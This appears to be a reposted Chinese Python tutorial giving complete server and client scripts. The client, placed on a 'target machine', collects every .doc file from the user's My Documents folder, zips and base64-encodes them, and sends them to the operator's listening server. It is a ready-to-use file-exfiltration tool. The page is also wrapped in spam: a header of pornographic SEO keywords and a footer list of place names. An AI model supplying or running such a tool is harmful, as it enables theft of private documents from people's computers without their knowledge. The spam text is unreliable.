国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

python實現獲取客戶機上指定文件并傳輸到服務器的方法

2019-11-25 17:56:27
字體:
來源:轉載
供稿:網友

本文實例講述了python實現獲取客戶機上指定文件并傳輸到服務器的方法。分享給大家供大家參考。具體分析如下:

該程序實現了,把目標機器的某個目錄(可控)的所有的某種類型文件(可控)全部獲取并傳到己方的機器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,這是2進制加密解密
2、用zip壓縮
3、socket中server.py放到自己這方python server.py,然后client.py放到目標機器,然后python client.py即可
4、本程序設置了獲取doc文件,修改extName可以獲取其它類型文件

服務器端程序:

復制代碼 代碼如下:
# -*- coding: cp936 -*-
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 6553500 #6M
    key = 'ouyang'
    timeout = 5
    dicName = "ouyang//"
    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        ss.bind((HOST,PORT))
        ss.listen(5)
        print "wating for conntecting..."
        while True:
            try:
                cs,addr = ss.accept()
                socket.setdefaulttimeout(timeout)
                cs.send("200 Connected!")
                #獲取加密數據
                encode_data = cs.recv(BUF_SIZE)
                #把數據寫到out.zip文件
                tmpfile = open('out.tmp','wb')
                try:
                    tmpfile.write(encode_data)
                    tmpfile.close()
                except IOError,e:
                    print 'Strange error creating IOError:%s' % e 
                    tmpfile.close()
                finally:
                    tmpfile.close()
                #base64 decode 2進制 解密 decode(infile,outfile)
                tmpfile = open('out.tmp','rb')
                outfile = open('out.zip','wb')
                base64.decode(tmpfile,outfile)
                tmpfile.close()
                outfile.close()
                #打開zip文件
                zfile = zipfile.ZipFile('out.zip','r')
                #創建一個文件夾來存放獲取的zip文件
                if not os.path.exists(dicName):
                    os.mkdir(dicName)
                for f in zfile.namelist():
                    data = zfile.read(f)
                    file = open(dicName+os.path.basename(f),'w+b')
                    file.write(data)
                    file.close()
                print "finished!!!"
                zfile.close()
                #后續處理 刪除臨時文件
                os.remove('out.tmp')
                cs.close()
            except socket.error, e: 
                print 'Strange error creating socket:%s' % e 
                cs.close()
        ss.close()
    except socket.error, e:
        print 'Strange error creating socket:%s' % e 
        ss.close()
if __name__=='__main__':
    main()

客戶端程序:

復制代碼 代碼如下:
# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
    for root, dirs, files in os.walk(dir, topdown):
        for name in files:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))     
        for name in dirs:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))
def main():      
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 65535
    key = 'ouyang'
    dicName = "C:/Documents and Settings/Administrator/我的文檔"
    extName = '.doc'
    #遍歷搜索我的文檔的doc類型
    try:
        filelist = []
        walk_dir(dicName,filelist,extName)
    except IOError,e:
        print "文件處理錯誤: " % e
        sys.exit(-1)
    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        cs.connect((HOST,PORT))
        print cs.recv(BUF_SIZE)
        #壓縮成zip文件
        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
        for f in filelist:
            zfile.write(f)
        zfile.close()
        #base 2進制 加密 encode(infile,outfile)
        infile = open('in.zip','rb')
        tmpfile = open('in.tmp','wb')
        base64.encode(infile,tmpfile)
        infile.close()
        tmpfile.close()
        #send
        tmpfile = open('in.tmp','rb')
        cs.send(tmpfile.read())
        tmpfile.close()
        #后續處理 刪除中間文件
        os.remove('in.tmp')
        cs.close()
    except socket.error ,e:
        print 'socket 出錯啦:' % e
        cs.close()
if __name__=='__main__':
    main()

希望本文所述對大家的Python程序設計有所幫助。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 若羌县| 昌乐县| 化德县| 延长县| 巴彦淖尔市| 南郑县| 乐陵市| 永康市| 浑源县| 宣恩县| 托里县| 同仁县| 邢台市| 綦江县| 社旗县| 井冈山市| 仁怀市| 清流县| 武宁县| 永泰县| 安溪县| 澄迈县| 营口市| 灵川县| 平湖市| 漯河市| 喀什市| 通化市| 淮南市| 吉安县| 淮北市| 乌拉特后旗| 梁山县| 锡林浩特市| 图们市| 定襄县| 偃师市| 疏勒县| 万全县| 宝清县| 石首市|